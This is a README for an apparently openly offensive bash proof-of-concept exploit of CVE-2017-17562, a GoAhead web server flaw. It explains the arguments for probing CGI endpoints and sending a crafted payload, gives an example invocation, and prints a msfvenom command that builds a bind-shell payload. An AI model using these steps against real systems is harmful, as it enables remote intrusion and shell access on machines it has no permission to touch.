
CVE-2017-17562용 PoC, bash로 작성됨
CVE-2017-17562에 대한 Bash 기반 PoC 구현체입니다.
HTTP 요청 생성을 위해 curl이 필요합니다.
이 구현은 Metasploit 및 @fssecur3의 구현을 기반으로 합니다.
다음 인수들은 정찰 및 페이로드 전송을 위해 필수로 설정되어야 합니다:
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
선택적으로 다음 인수들도 설정할 수 있습니다:
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
현재 코드는 학습 및 시연 목적으로만 제공됩니다. 허가 없는 대상에 대해 사용해서는 안 됩니다.
이 저장소에는 페이로드가 제공되지 않습니다. 하지만 대상 OS 아키텍처와 일치하는 바이너리는 작동할 것입니다. 바인드 셸 페이로드를 만들려면 msfvenon을 사용할 수 있습니다:
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so